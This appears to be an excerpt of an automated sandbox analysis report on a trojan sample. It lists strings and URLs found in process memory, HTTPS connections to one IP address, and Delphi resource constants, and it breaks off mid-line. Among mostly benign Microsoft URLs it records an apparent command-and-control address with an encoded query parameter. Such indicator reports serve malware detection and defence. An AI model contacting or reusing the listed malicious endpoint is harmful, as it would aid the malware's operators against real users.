Source: ToolSecurityBvg.exe, 0000000A.00000003.2727306296.00000000080D5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1msKSh.img
Source: ToolSecurityBvg.exe, 0000000A.00000003.2787832029.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AA1tU84U
Source: ToolSecurityBvg.exe, 0000000A.00000003.2787832029.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AA1tU84U.8
Source: ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AA1tU84Ulast-modified:Wed
Source: ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AA1tU84Ulast-modifiedWed
Source: ToolSecurityBvg.exe, 0000000A.00000003.2729165291.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb
Source: ToolSecurityBvg.exe, 0000000A.00000003.2729165291.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AA1u24ybX-Source-Length:
Source: ToolSecurityBvg.exe, 0000000A.00000003.2868805331.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAdTRDX
Source: ToolSecurityBvg.exe, 0000000A.00000003.2868805331.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAdTRDXb
Source: ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t
Source: ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=tx-source-length:143
Source: ToolSecurityBvg.exe, 0000000A.00000003.2787832029.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/BB1msKSh
Source: ToolSecurityBvg.exe, 0000000A.00000003.2770671907.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/BB1msKShx-source-length:116060content-length:116060cache-c
Source: ToolSecurityBvg.exe, 0000000A.00000003.2850955840.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/
Source: ToolSecurityBvg.exe, 0000000A.00000003.2729165291.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://msn.com
Source: ToolSecurityBvg.exe, 0000000A.00000003.2865182697.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn
Source: ToolSecurityBvg.exe, 0000000A.00000003.2802363890.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2799753318.0000000002E57000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2847865729.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2850955840.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2813594876.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2786498403.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2850257235.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2736944302.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2771704158.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2770575385.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2771428723.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2848225882.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2753463728.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2782490707.0000000008092000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2703994469.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824427145.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2725129682.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2782919006.0000000002ED1000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn.com
Source: ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824383589.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn.com/
Source: ToolSecurityBvg.exe, 0000000A.00000003.2852119944.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn.com/&l
Source: ToolSecurityBvg.exe, 0000000A.00000003.2770671907.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn.com/accept-encodinggzip
Source: ToolSecurityBvg.exe, 0000000A.00000003.2736944302.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn.com/e6
Source: ToolSecurityBvg.exe, 0000000A.00000003.2782919006.0000000002ED1000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786383350.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New
Source: ToolSecurityBvg.exe, 0000000A.00000003.2782919006.0000000002ED1000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: ToolSecurityBvg.exe, 0000000A.00000003.2736944302.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn.com/om
Source: ToolSecurityBvg.exe, 0000000A.00000003.2770575385.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2729165291.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn.comAccess-Control-Expose-Headers:
Source: ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn.comcache-control:public
Source: ToolSecurityBvg.exe, 0000000A.00000003.2770671907.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2801136499.0000000002E5D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn.comreport-to
Source: ToolSecurityBvg.exe, 0000000A.00000003.2736944302.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2771428723.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2782490707.0000000008092000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2725129682.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2751362417.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn.comreport-to:
Source: ToolSecurityBvg.exe, 0000000A.00000003.2770671907.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn.comsec-ch-ua-mobile?0user-agentMozilla/5.0
Source: ToolSecurityBvg.exe, 0000000A.00000003.2770671907.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn.comsec-fetch-sitesame-sitesec-fetch-modecorssec-fetch-destemptyrefererhttps://ntp.ms
Source: ToolSecurityBvg.exe, 0000000A.00000003.2751362417.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://ntp.msn.comx-as-suppresssetcookie:1cache-control:private
Source: ToolSecurityBvg.exe, 0000000A.00000003.2710537450.00000000080D5000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2751362417.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2729165291.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://permanently-removed.invalid/
Source: ToolSecurityBvg.exe, 0000000A.00000003.2710537450.00000000080D5000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2751362417.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2729165291.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://permanently-removed.invalid/ory
Source: ToolSecurityBvg.exe, 0000000A.00000003.2553034891.00000000005CC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://piaktrip.online/
Source: ToolSecurityBvg.exe, 0000000A.00000003.2553034891.0000000000552000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://piaktrip.online/aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGul
Source: ToolSecurityBvg.exe, 0000000A.00000003.2704461611.0000000008063000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E82000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://public.dns.iij.jp/dns-query
Source: ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://res.cdn.office.net/
Source: RoboTaskLite.exe, 00000002.00000000.1817659772.0000000000401000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: https://robotask.com/help/
Source: RoboTaskLite.exe, 00000002.00000000.1817659772.0000000000401000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: https://robotask.com/openhelp/?id=%d.openSV
Source: ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2813594876.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2771428723.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://sapphire.azureedge.net
Source: RoboTaskLite.exe, 00000002.00000003.1828448089.0000000000A45000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://sectigo.com/CPS0
Source: ToolSecurityBvg.exe, 0000000A.00000003.2849256431.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2733252580.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2727306296.00000000080D5000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2750387192.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2703892497.00000000080D5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://sn.com
Source: ToolSecurityBvg.exe, 0000000A.00000003.2813594876.0000000008075000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2725129682.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://t.ssl.ak.dynamic.tiles.virtualearth.net
Source: ToolSecurityBvg.exe, 0000000A.00000003.2813594876.0000000008075000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2725129682.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://titlehub.xboxlive.com/users/
Source: ToolSecurityBvg.exe, 0000000A.00000003.2813594876.0000000008075000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2725129682.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://user.auth.xboxlive.com/user/authenticate
Source: ToolSecurityBvg.exe, 0000000A.00000003.2799708414.0000000002EC6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2865182697.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.cisco.com/c/en/us/about/legal/privacy-full.html
Source: ToolSecurityBvg.exe, 0000000A.00000003.2782919006.0000000002ED1000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.clarity.ms
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.digicert.com/CPS0
Source: ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.microsoftstart.com
Source: ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.cn
Source: ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com
Source: ToolSecurityBvg.exe, 0000000A.00000003.2704461611.0000000008063000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E82000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.quad9.net/home/privacy/
Source: ToolSecurityBvg.exe, 0000000A.00000003.2813594876.0000000008075000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2725129682.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://xsts.auth.xboxlive.com/xsts/authorize
Source: unknownNetwork traffic detected: HTTP traffic on port 50013 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49985
Source: unknownNetwork traffic detected: HTTP traffic on port 49672 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50122 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49926 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50042 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50007 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50116 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50060
Source: unknownNetwork traffic detected: HTTP traffic on port 50068 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50102 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50106
Source: unknownNetwork traffic detected: HTTP traffic on port 49675 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49973
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50108
Source: unknownNetwork traffic detected: HTTP traffic on port 49996 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50039 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50107
Source: unknownNetwork traffic detected: HTTP traffic on port 50060 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50109
Source: unknownNetwork traffic detected: HTTP traffic on port 50091 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50100
Source: unknownNetwork traffic detected: HTTP traffic on port 50113 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50069
Source: unknownNetwork traffic detected: HTTP traffic on port 50077 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50102
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50068
Source: unknownNetwork traffic detected: HTTP traffic on port 50025 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50107 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50004 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49909 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50080 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50117
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50116
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50119
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50118
Source: unknownNetwork traffic detected: HTTP traffic on port 50034 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50078
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50111
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50077
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50110
Source: unknownNetwork traffic detected: HTTP traffic on port 50114 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50113
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50079
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50112
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50115
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50114
Source: unknownNetwork traffic detected: HTTP traffic on port 50108 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50081
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50080
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50082
Source: unknownNetwork traffic detected: HTTP traffic on port 49992 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50043 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50100 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50007
Source: unknownNetwork traffic detected: HTTP traffic on port 50119 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50008
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49672
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50087
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50086
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50122
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50121
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50003
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50002
Source: unknownNetwork traffic detected: HTTP traffic on port 50111 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50123
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50005
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50004
Source: unknownNetwork traffic detected: HTTP traffic on port 50079 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50090
Source: unknownNetwork traffic detected: HTTP traffic on port 50051 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50091
Source: unknownNetwork traffic detected: HTTP traffic on port 50023 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50082 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50011
Source: unknownNetwork traffic detected: HTTP traffic on port 50090 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50112 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50013
Source: unknownNetwork traffic detected: HTTP traffic on port 50078 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50106 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50052 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50003 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50081 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50087 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50123 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50117 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50035 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50008 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50023
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50025
Source: unknownNetwork traffic detected: HTTP traffic on port 49988 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50024
Source: unknownNetwork traffic detected: HTTP traffic on port 49985 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49926
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49920
Source: unknownNetwork traffic detected: HTTP traffic on port 50086 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50039
Source: unknownNetwork traffic detected: HTTP traffic on port 50038 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50011 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50118 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50034
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50035
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50038
Source: unknownNetwork traffic detected: HTTP traffic on port 50110 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50005 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50024 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49973 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50121 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49996
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49992
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50043
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50042
Source: unknownNetwork traffic detected: HTTP traffic on port 50115 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50002 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50109 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49987 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49909
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50052
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50051
Source: unknownNetwork traffic detected: HTTP traffic on port 49920 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49988
Source: unknownNetwork traffic detected: HTTP traffic on port 50069 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49987
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:49909 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:49920 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:49926 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50100 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50102 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50106 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50107 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50108 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50109 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50110 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50111 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50112 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50113 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50114 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50115 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50116 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50117 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50118 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50119 version: TLS 1.2
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8570 @Vcl@Consts@_SCannotOpenClipboard,@Vcl@Consts@_SMCIWaveAudio,@Vcl@Consts@_SMCIUnknownError,@Vcl@Consts@_SBoldItalicFont,@Vcl@Consts@_SBoldFont,@Vcl@Consts@_SItalicFont,@Vcl@Consts@_SExecute,@Vcl@Consts@_SStart,@Vcl@Consts@_SStop,@Vcl@Consts@_SPause,@Vcl@Consts@_SContinue,@Vcl@Consts@_SServiceInstallOK,@Vcl@Consts@_SServiceInstallFailed,@Vcl@Consts@_SServiceUninstallOK,@Vcl@Consts@_SServiceUninstallFailed,@Vcl@Consts@_SDockedCtlNeedsName,@Vcl@Consts@_SDockZoneVersionConflict,@Vcl@Consts@_SAllCommands,@Vcl@Consts@_SDuplicateItem,@Vcl@Consts@_STextNotFound,@Vcl@Consts@_SBrowserExecError,@Vcl@Consts@_SPromptArrayEmpty,@Vcl@Consts@_SUsername,@Vcl@Consts@_SPassword,@Vcl@Consts@_SDomain,@Vcl@Consts@_SLogin,@Vcl@Consts@_SKeyNotFound,@Vcl@Consts@_SNoColumnMoving,@Vcl@Consts@_SNoEqualsInKey,@Vcl@Consts@_SSendError,@Vcl@Consts@_SAssignSubItemError,@Vcl@Consts@_SMoreButtons,@Vcl@Consts@_SErrorDownloadingURL,@Vcl@Consts@_SUrlMonDllMissing,@Vcl@Consts@_SAllActions,@Vcl@Consts@_SNoCategory,@Vcl@Consts@_SErrorLoadingFile,@Vcl@Consts@_SResetUsageData,@Vcl@Consts@_SFileRunD